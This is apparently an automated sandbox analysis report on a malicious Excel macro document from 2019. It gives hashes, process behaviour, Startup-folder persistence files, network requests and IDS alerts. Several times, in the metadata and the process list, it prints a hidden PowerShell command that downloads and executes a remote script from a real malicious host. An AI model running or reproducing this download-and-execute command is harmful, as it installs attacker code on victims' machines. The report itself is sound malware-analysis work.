File name:

ee80776a80aeba381b6b09472fcfc61d3ef76d59c31e92f60fdb5c2a8f5ce2d0.xls

Full analysis: https://app.any.run/tasks/71704ca4-fd74-4da1-a5a6-c599e3c93f6b
Verdict: Malicious activity
Analysis date: May 15, 2019, 11:58:00
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
maldoc-5
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('http://apb.sh/helloworld.ps1'), Author: user, Last Saved By: user, Name of Creating Application: Microsoft Excel, Create Time/Date: Thu May 9 13:27:32 2019, Last Saved Time/Date: Tue May 14 01:27:04 2019, Security: 0
MD5:

8CAC914B45C1E8FBDA38FF1D712E3D37

SHA1:

29249BF304397C2A0EA2BF8EED7EF2CB66DDCF74

SHA256:

EE80776A80AEBA381B6B09472FCFC61D3EF76D59C31E92F60FDB5C2A8F5CE2D0

SSDEEP:

1536:UOxEtjPOtioVjDGUU1qfDlaGGx+cL2QnAjaGpgUuT6Calhr:UOxEtjPOtioVjDGUU1qfDlaGGx+cL2Q+

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  • MALICIOUS

    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 2836)

    • Writes to a start menu file

      • powershell.exe (PID: 3276)

    • Executes PowerShell scripts

      • EXCEL.EXE (PID: 2836)

  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 3276)

  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2836)
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No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (48)
.xls | Microsoft Excel sheet (alternate) (39.2)

EXIF

FlashPix

Subject: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('http://apb.sh/helloworld.ps1')
Author: user
LastModifiedBy: user
Software: Microsoft Excel
CreateDate: 2019:05:09 12:27:32
ModifyDate: 2019:05:14 00:27:04
Security: None
CodePage: Windows Latin 1 (Western European)
AppVersion: 14
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: Sheet1
HeadingPairs:
  • Worksheets
  • 1
CompObjUserTypeLen: 31
CompObjUserType: Microsoft Excel 2003 Worksheet
No data.
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Total processes
34
Monitored processes
2
Malicious processes
1
Suspicious processes
1

Behavior graph

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start excel.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2836"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3276"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoExit -w hidden -Command iex(New-Object System.Net.WebClient).DownloadString('http://apb.sh/helloworld.ps1')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Total events
704
Read events
609
Write events
88
Delete events
7

Modification events

(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:xl>
Value:
786C3E00140B0000010000000000000000000000
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:11274
Value:
On
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
140B00006222F97B150BD50100000000
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:xl>
Value:
786C3E00140B0000010000000000000000000000
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2836) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
Executable files
0
Suspicious files
2
Text files
2
Unknown types
0

Dropped files

PID
Process
Filename
Type
2836EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR4048.tmp.cvr —
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PFNE8SQIBMYZH96JLVN9.temp —
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF1348e3.TMPbinary
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\a.battext
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:—
SHA256:—
3276powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.xmltext
MD5:—
SHA256:—
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HTTP(S) requests
3
TCP/UDP connections
1
DNS requests
3
Threats
3

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3276
powershell.exe
GET
200
35.158.61.146:80
http://apb.sh/helloworld.ps1
DE
text
505 b
malicious
3276
powershell.exe
GET
200
35.158.61.146:80
http://apb.sh/msbuild.xml
DE
text
12.3 Kb
malicious
3276
powershell.exe
GET
200
35.158.61.146:80
http://apb.sh/per.txt
DE
text
186 b
malicious
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3276
powershell.exe
35.158.61.146:80
apb.sh
Amazon.com, Inc.
DE
malicious

DNS requests

Domain
IP
Reputation
apb.sh
  • 35.158.61.146
malicious
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

PID
Process
Class
Message
3276
powershell.exe
A Network Trojan was detected
ET INFO PowerShell NoProfile Command Received In Powershell Stagers
3276
powershell.exe
A Network Trojan was detected
ET INFO PowerShell Hidden Window Command Common In Powershell Stagers M1
3276
powershell.exe
A Network Trojan was detected
ET INFO PowerShell NonInteractive Command Common In Powershell Stagers
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ee80776a80aeba381b6b09472fcfc61d3ef76d59c31e92f60fdb5c2a8f5ce2d0.xls